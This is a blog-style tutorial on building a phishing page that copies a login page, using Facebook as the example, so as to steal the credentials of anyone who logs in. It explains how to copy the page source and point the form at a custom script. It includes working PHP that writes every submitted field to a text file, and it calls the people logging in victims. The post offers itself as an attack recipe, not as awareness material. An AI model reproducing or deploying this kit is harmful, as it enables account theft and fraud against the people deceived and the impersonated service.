Create Fake-Page of any website “manually”
In one of my previous post I showed how facebook accounts are hacked using fake page, where I gave the download link
for facebook fake page. This post is about how to create fake pages of any
website on your own. There are anyways many automatic fake page creator
software like PHISH CREATOR V2, but these tools are not helpful when you want to
learn something, because you won’t get to know what is happening around, also creating
fake page is not a chaotic or time consuming task so no need of automated
tools.
Note: For illustration I've used Facebook login page, but using this way fake page of any website can be created.
What happens when you enter your login id
and password and click on ‘login’ button? Let’s see
The text in the TextBoxes (i.e.
your id and password) is sent to a php file(in server) named login.php, this
php file will look in the database of facebook for your combination of email id
and password, if found then it will authenticate you and you will get access to
your account.
In our case what we do is copy the
whole design of FB login page and create exactly look alike page in our free
webhost server. But the difference is
that, this page will not communicate with login.php file in the fb server,
rather it will communicate with our self created php file which will store the credentials
into a text file (so you can view password of victim) and redirect victim to original
FB page.
In all, we need to create three files-
1.
The HTML page:- For design
2.
PHP page:-
that will store the id and password
3.
Text file:- where id and pass word gets stored
1.
HTML File
To create Html page go to facebook
(or any other website, whose fake page you want to create) right click on empty
space and click on view source code, you will have a huge code in front of you,
press ctrl + A to select whole code, copy and paste it on notepad. Press ctrl +
f and find ‘action’ within the text. You will find something like action=”http://www.somwhere.com/something.php”
Replace “http://somewhere.com/something.php”
with “logger.php”.
Save this file as ‘index.html’
2.
PHP File
To create php file, copy below
code into notepad and save it as logger.php
<?php
$handle = fopen("login.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
3. Text File
You don’t need to do anything for
it, just create a new text file with name login.txt
That’s it you have created your
fake page, if you don’t know what to do next with this fake page, read this
post about hacking facebook password using fake page.